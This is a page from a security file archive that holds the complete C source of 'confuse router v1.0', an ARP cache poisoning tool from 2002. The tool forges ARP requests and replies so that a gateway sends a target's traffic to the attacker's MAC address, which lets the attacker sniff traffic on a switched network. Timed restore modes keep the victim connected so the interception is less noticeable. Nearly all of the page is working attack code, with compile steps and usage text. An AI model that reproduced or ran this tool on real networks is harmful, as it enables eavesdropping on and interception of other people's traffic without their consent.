what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

confuse_router.c

confuse_router.c
Posted May 10, 2002
Authored by Pedram Amini | Site pedram.redhive.com

Confuse Router v1.0 is an arp cache poisoner which allows you to see traffic in a switched environment such as a cable modem network. Requires libnet.

systems | unix
SHA-256 | 3f39d0ee3be48ebe6c2f78d8012c01677c3f389706c1f2b080b773de1fd86e82

confuse_router.c

Change Mirror Download
/*
[ confuse router v1.0 ]

pedram amini (pedram@redhive.com)
http://pedram.redhive.com

synopsis:
basically this is an arp cache poisoner. i wrote this software to see
if i could sniff bits and pieces of traffic in a switched environment
where arp requests are not broadcasted to all nodes on a segment, all
while maintaining the targets connection (ie: test the security of a
cable modem network). here is an outline of what we want to accomplish:

- redirect traffic headed for <target> to <me>
- restore traffic back to <target>
- switch between the two so that both <target> and <me> can see
the traffic

poisoning works. however, the restore has problems and works only
sporadically, that is why there are three aproaches to restore:

- reverse the poison
- the way i observed my linux box do it
- the way i observed my win2k box do it

tweak the delay timings to find what is best for your network. if
anyone discovers a more effective approach towards restoring don't
hesitate to share.

on a final note: beware when setting the mac address of the gateway. on
my network doing so will immediately drop your connection. you don't
need to use the real mac address of the gateway for poisoning to work
and this is why the default is random.

to compile:
gcc confuse_router.c -lpcap -lnet `libnet-config --defines`

developed and tested on/with:
linux 2.2.17, 2.2.16
libnet ver 1.0.1b, 1.0.2
libpcap ver 0.4-16, 0.4-19

references:
RFC 826 http://www.ietf.org/rfc/rfc0826.txt?number=0826

todo:
modularize code.
i kept throwing features into this and now it's just plain messy.
*/

#include <libnet.h>
#include <pcap.h>

#define VERSION "v1.0"

#define ERRBUF_SIZE 256
/* write_arp() actions */
#define P_REQUEST 0 /* arp poison request */
#define P_REPLY 1 /* arp poison reply */
#define R_RESTORE_1 2 /* restore request type 1 */
#define R_RESTORE_2 3 /* restore request type 2 */
#define R_RESTORE_3 4 /* restore request type 3 */
#define R_RESTORE_4 5 /* restore request type 4 */
#define BS_FLAG 1 /* byte swap flag for libnet_hex_dump() */
/* tweak these for performance */
#define D1 10 /* sleep time in microseconds */
#define D2 750 /* sleep time in microseconds */

void usage (char *);
void write_arp (struct libnet_link_int *, char *, int, int);
void random_mac (u_char *);

/*
* globals (because i'm lazy)
*/

u_char original_mac [ETHER_ADDR_LEN],
poison_mac [ETHER_ADDR_LEN],
gateway_mac [ETHER_ADDR_LEN],
null_mac [ETHER_ADDR_LEN] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
broadcast_mac[ETHER_ADDR_LEN] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
u_long target_ip,
gateway_ip;



int main (int argc, char **argv) {
int i,
opt,
count = 1, /* number of times to loop */
delay_time = 5, /* delay (secs) between mac switches */
gateway_flag = 0, /* set if user specified gateway mac */
infinite_flag = 0, /* if true loop forever */
reply_flag = 0, /* send ARP reply */
request_flag = 0, /* send ARP request */
restore_flag = 0, /* switch between poison/restore */
verbose_flag = 0; /* if true we dump packet contests */


u_char *str_mac_addr = NULL; /* temporary store for reading mac */
/* addresses from command line */

struct libnet_link_int *link_int; /* link interface */

char *device = NULL, /* device we write packets to */
errbuf[ERRBUF_SIZE], /* error buffer for pcap/libnet */
*restore_method = "antidote"; /* method for restoring arp entry */

/*
* seed the (pseudo) random number generator
*/

libnet_seed_prand();

/*
* generate a random mac address for gateway
*/

random_mac(gateway_mac);


/*
* parse the command line
*/

while ((opt = getopt(argc, argv, "bc:d:g:hi:m:o:p:qrt:vx:")) != EOF) {
switch (opt) {
case 'b': /* send both an arp request and reply */
request_flag++; reply_flag++;
break;
case 'c': /* specify the number of times to loop */
count = atoi(optarg);
if (count == 0)
infinite_flag++;
break;
case 'd': /* set the switching delay time in seconds */
delay_time = atoi(optarg);
break;
case 'g': /* gateway's ip, we corrupt his arp table */
gateway_ip = libnet_name_resolve(optarg, 0);
break;
case 'i': /* choose an interface to work with */
device = optarg;
break;
case 'm': /* gateway's mac address */
str_mac_addr = (u_char *) ether_aton(optarg);
memcpy(gateway_mac, str_mac_addr, sizeof(gateway_mac));
gateway_flag++;
break;
case 'o': /* original mac address of the target */
str_mac_addr = (u_char *) ether_aton(optarg);
memcpy(original_mac, str_mac_addr, sizeof(original_mac));
restore_flag++;
break;
case 'p': /* mac address to map target ip address to */
str_mac_addr = (u_char *) ether_aton(optarg);
memcpy(poison_mac, str_mac_addr, sizeof(poison_mac));
break;
case 'q': /* send an arp request */
request_flag++;
break;
case 'r': /* send an arp reply */
reply_flag++;
break;
case 't': /* target ip address we wish to redirect */
target_ip = libnet_name_resolve(optarg, 0);
break;
case 'v': /* verbose flag, dump packets in hex */
verbose_flag++;
break;
case 'x': /* select a cache restore technique */
restore_method = optarg;
break;
case 'h':
case '?':
usage(argv[0]);
}
}

/*
* before we move on lets make sure the parameters make sense
*/

/* required arguments */
if ((!request_flag && !reply_flag) || !gateway_ip || !target_ip || !poison_mac)
usage(argv[0]);

/* restore methods */
if (strcmp(restore_method, "win2k") != 0 &&
strcmp(restore_method, "linux") != 0 &&
strcmp(restore_method, "antidote") != 0)
usage(argv[0]);

/*
* if interface was not specified choose one and make sure it works
*/

if (!device)
device = pcap_lookupdev(errbuf);

if (!device) {
fprintf(stderr, "\ndevice lookup failed");
exit (EXIT_FAILURE);
}

/*
* open the device
*/

if ((link_int = libnet_open_link_interface(device, errbuf)) == NULL) {
fprintf(stderr, "\nlibnet_open_link_interface: %s", errbuf);
exit (EXIT_FAILURE);
}

/*
* shameless plug
*/

printf("\n[ confuse router %s ]\n", VERSION);
printf("\npedram amini <http://pedram.redhive.com>\n");

/*
* make sure the user understands what we're working with
*/

printf("\n%s", (request_flag && !reply_flag) ? "sending arp requests" :
(!request_flag && reply_flag) ? "sending arp replies" :
"sending both arp requests and replies");
printf("\n - looping %d times", count);
printf("\n - using interface: %s", device);
printf("\n - poisoning tables on: %s", libnet_host_lookup(gateway_ip, 0));
printf("\n - mapping %s to %s", libnet_host_lookup(target_ip, 0),
ether_ntoa((struct ether_addr *) poison_mac));
printf("%s", (verbose_flag) ? "\n - dumping packet contents" : "");

if (restore_flag) {
printf("\n\nrestoring original arp entries");
printf("\n - delaying %d seconds between poison/restores", delay_time);
printf("\n - restoring %s to %s", libnet_host_lookup(target_ip, 0),
ether_ntoa((struct ether_addr *) original_mac));
printf("\n - restore method: %s", restore_method);
}

printf("\n");

/*
* get to work.
* - loop until count is exhausted or forever if infinity is set
* - send an arp request immediately followed by an arp reply corrupting
* the gateways arp cache
* - if the restore flag is set the determine which technique to use for
* restoring the arp cache to its' original state
*/

while (count || infinite_flag) {
count--;
if (request_flag)
write_arp(link_int, device, P_REQUEST, verbose_flag);

if (reply_flag)
write_arp(link_int, device, P_REPLY, verbose_flag);

if (restore_flag) { /* restore arp cache */
printf("\nsleeping %d secs ", delay_time);
for (i = 0; i < delay_time; i++) {
fflush(NULL); sleep(1); printf(".");
}

if (strcmp(restore_method, "win2k") == 0) {
write_arp(link_int, device, R_RESTORE_1, verbose_flag); usleep(D1);
write_arp(link_int, device, R_RESTORE_1, verbose_flag); usleep(D1);
write_arp(link_int, device, R_RESTORE_1, verbose_flag); usleep(D2);
write_arp(link_int, device, R_RESTORE_2, verbose_flag);
}
else if (strcmp(restore_method, "linux") == 0) {
write_arp(link_int, device, R_RESTORE_1, verbose_flag); usleep(D2);
write_arp(link_int, device, R_RESTORE_1, verbose_flag); usleep(D1);
write_arp(link_int, device, R_RESTORE_1, verbose_flag); usleep(D1);
write_arp(link_int, device, R_RESTORE_1, verbose_flag);
}
else if (strcmp(restore_method, "antidote") == 0) {
write_arp(link_int, device, R_RESTORE_3, verbose_flag); usleep(D1);
write_arp(link_int, device, R_RESTORE_4, verbose_flag); usleep(D2);
write_arp(link_int, device, R_RESTORE_3, verbose_flag); usleep(D1);
write_arp(link_int, device, R_RESTORE_4, verbose_flag);
}

printf("\nsleeping %d secs ", delay_time);
for (i = 0; i < delay_time; i++) {
fflush(NULL); sleep(1); printf(".");
}
}
}

/*
* not reached if restore_flag is set
*/

printf("\n\n");
exit (EXIT_SUCCESS);
}



void write_arp (struct libnet_link_int *link_int, char *device, int action, int verbose_flag) {
int ARP_OPERATION; /* ARP operation type */

u_char src_mac[ETHER_ADDR_LEN], /* source hardware address, ethernet */
dst_mac[ETHER_ADDR_LEN], /* dest hardware address, ethernet */
sha[ETHER_ADDR_LEN], /* source hardware address, arp */
tha[ETHER_ADDR_LEN], /* target hardware address, arp */
*packet; /* pointer to our packet */

u_long spa, /* source protocol address, arp */
tpa; /* destination protocol address, arp */

/* our packet contains no payload, hence size is that of just headers */
int packet_size = LIBNET_ETH_H + LIBNET_ARP_H;

/*
* determine what is what depending on action
* this is messy, there are way to many data structures for ip/mac,
* but what are you going to do.
*/

switch (action) {
case P_REQUEST: /* who has <target> tell <gateway> */
/* ethernet */
memcpy(src_mac, gateway_mac, sizeof(src_mac));
memcpy(dst_mac, broadcast_mac, sizeof(dst_mac));
/* arp */
spa = gateway_ip;
tpa = target_ip;
memcpy(sha, gateway_mac, sizeof(sha));
memcpy(tha, null_mac, sizeof(tha));
ARP_OPERATION = ARPOP_REQUEST;
break;
case P_REPLY: /* <target> is at <poison_mac> */
/* ethernet */
memcpy(src_mac, poison_mac, sizeof(src_mac));
memcpy(dst_mac, broadcast_mac, sizeof(dst_mac));
/* arp */
spa = target_ip;
tpa = gateway_ip;
memcpy(sha, poison_mac, sizeof(sha));
memcpy(tha, gateway_mac, sizeof(tha));
ARP_OPERATION = ARPOP_REPLY;
break;
case R_RESTORE_1: /* who has <target> tell <target> */
/* ethernet */
memcpy(src_mac, original_mac, sizeof(src_mac));
memcpy(dst_mac, broadcast_mac, sizeof(dst_mac));
/* arp */
spa = target_ip;
tpa = target_ip;
memcpy(sha, original_mac, sizeof(sha));
memcpy(tha, null_mac, sizeof(tha));
ARP_OPERATION = ARPOP_REQUEST;
break;
case R_RESTORE_2: /* who has <gateway> tell <target> */
/* ethernet */
memcpy(src_mac, original_mac, sizeof(src_mac));
memcpy(dst_mac, broadcast_mac, sizeof(dst_mac));
/* arp */
spa = target_ip;
tpa = gateway_ip;
memcpy(sha, original_mac, sizeof(sha));
memcpy(tha, null_mac, sizeof(tha));
ARP_OPERATION = ARPOP_REQUEST;
break;
case R_RESTORE_3: /* who has <target> tell <gateway> */
/* ethernet */
memcpy(src_mac, gateway_mac, sizeof(src_mac));
memcpy(dst_mac, broadcast_mac, sizeof(dst_mac));
/* arp */
spa = gateway_ip;
tpa = target_ip;
memcpy(sha, gateway_mac, sizeof(sha));
memcpy(tha, null_mac, sizeof(tha));
ARP_OPERATION = ARPOP_REQUEST;
break;
case R_RESTORE_4: /* <target> is at <poison_mac> */
/* ethernet */
memcpy(src_mac, original_mac, sizeof(src_mac));
memcpy(dst_mac, broadcast_mac, sizeof(dst_mac));
/* arp */
spa = target_ip;
tpa = gateway_ip;
memcpy(sha, original_mac, sizeof(sha));
memcpy(tha, gateway_mac, sizeof(tha));
ARP_OPERATION = ARPOP_REPLY;
break;
}

/*
* initialize some memory for our packet
*/

if (libnet_init_packet(LIBNET_ARP_H + LIBNET_ETH_H, &packet) == -1) {
perror("libnet_init_packet:");
exit (EXIT_FAILURE);
}

/*
* ethernet header construction
*/

libnet_build_ethernet(
dst_mac, /* pointer to the destination address */
src_mac, /* pointer to the source address */
ETHERTYPE_ARP, /* ethernet packet type */
NULL, /* pointer to packet payload */
0, /* packet payload size */
packet); /* pointer to pre-allocated packet memory */

/*
* arp header construction
*/

libnet_build_arp(
ARPHRD_ETHER, /* hardware address format */
ETHERTYPE_IP, /* protocol address format */
ETHER_ADDR_LEN, /* length of the hardware address */
4, /* length of the protocol address */
ARP_OPERATION, /* ARP operation type */
sha, /* sender's hardware address */
(u_char *) &spa, /* sender's protocol address */
tha, /* target's hardware address */
(u_char *) &tpa, /* target's protocol address */
NULL, /* pointer to packet payload */
0, /* packet payload length */
packet + LIBNET_ETH_H); /* pointer to pre-allocated packet memory */

/*
* write the packet
*/

if (libnet_write_link_layer(link_int, device, packet, packet_size) == -1) {
perror("libnet_init_packet:");
exit (EXIT_FAILURE);
}

/*
* inform the user of what just happened
* XXX - this is an interesting situation. note how there is only one
* hardware address per print statement. or else you get a duplicate
* of the first address.
*/

if (action == P_REPLY || action == R_RESTORE_4) {
printf("\n%s >", ether_ntoa((struct ether_addr *) src_mac));
printf(" %s \t ARP %s is at ",
ether_ntoa((struct ether_addr *) dst_mac),
libnet_host_lookup(spa, 0));
printf("%s", ether_ntoa((struct ether_addr *) sha));
}
else {
printf("\n%s >", ether_ntoa((struct ether_addr *) src_mac));
printf(" %s \t ARP who has %s? Tell %s",
ether_ntoa((struct ether_addr *) dst_mac),
libnet_host_lookup(tpa, 0),
libnet_host_lookup(spa, 0));
}

/*
* if the verbose flag is set, print the packet (hex)
* t - type (arp)
* ht - hardware type (ethernet)
* pt - protocol type (ip)
* hp - hardware size / protocol size (6 / 4)
* op - opcode (1 = request, 2 = reply)");
*/

if (verbose_flag) {
printf("\n");
printf("\n +--------------+--------------+----+----+");
printf("\n | enet src | enet dst | t | ht |");
printf("\n |---------+----+--------------+----+----|");
printf("\n | pt | hp | op | sha | spa |");
printf("\n |---------+----+---------+----+---------|");
printf("\n | tha | tpa | |");
printf("\n +--------------+---------+--------------+");
printf("\n");
libnet_hex_dump(packet, LIBNET_ARP_H + LIBNET_ETH_H, BS_FLAG, stdout);
printf("\n");
}

/*
* cleanup
*/
libnet_destroy_packet(&packet);
}



void random_mac (u_char *mac)
{
*((u_long *) mac) = libnet_get_prand(PRu32);
*((u_long *) (mac + 4)) = libnet_get_prand(PRu16);
}



void usage (char *argv0) {
char *p, *name;

if ((p = strrchr(argv0, '/')) != NULL)
name = p + 1;
else
name = argv0;

fprintf(stderr, "\n[ confuse router %s ]", VERSION);
fprintf(stderr, "\npedram amini <http://pedram.redhive.com>\n");
fprintf(stderr, "\n Usage: %s [options] {-b|-q|-r} -g <ip_address> -t <ip_address> -p <mac_address>", name);
fprintf(stderr, "\n");
fprintf(stderr, "\n Required Arguments:");
fprintf(stderr, "\n -b,q,r send both request/reply, send only request, send only reply");
fprintf(stderr, "\n -g <xxx.xxx.xxx.xxx> gateway's ip address");
fprintf(stderr, "\n -t <xxx.xxx.xxx.xxx> target's ip address");
fprintf(stderr, "\n -p <xx:xx:xx:xx:xx:xx> poison mac address");
fprintf(stderr, "\n");
fprintf(stderr, "\n Optional Arguments:");
fprintf(stderr, "\n -c <count> number of times to loop. default is 1, use 0 for infinite");
fprintf(stderr, "\n -d <delay in secs> time to delay between poison / restore, default is 5");
fprintf(stderr, "\n -m <xx:xx:xx:xx:xx:xx> mac address of gateway, default is random");
fprintf(stderr, "\n -o <xx:xx:xx:xx:xx:xx> original mac address of target");
fprintf(stderr, "\n -v verbose, dump packet contents in hex");
fprintf(stderr, "\n -x <antidote|linux|win2k> restore method to use, default is antidote");
fprintf(stderr, "\n\n");

exit (EXIT_FAILURE);
}

/* and here comes the mandatory newline: */
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    28 Files
  • 17
    Oct 17th
    23 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close